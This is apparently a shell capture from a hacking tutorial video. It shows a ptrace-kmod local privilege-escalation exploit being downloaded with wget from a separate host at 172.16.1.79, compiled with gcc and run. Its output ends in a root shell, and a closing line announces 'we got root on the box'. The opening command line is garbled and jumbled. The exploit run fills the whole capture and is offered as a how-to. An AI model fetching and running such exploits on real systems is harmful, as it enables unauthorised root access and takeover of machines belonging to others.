bash-2.05$o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; ttp://172.16.1.79/ptrace-kmod.c; gcc -
--09:18:29--  http://172.16.1.79/ptrace-kmod.c          => `ptrace-kmod.c'
Connecting to 172.16.1.79:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]    0K ...                   100% @   3.74 MB/s
09:18:29 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
[+] Attached to 17426
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


Success !! We got root on the box.
In the next video I will demonstrate how to hack using samba.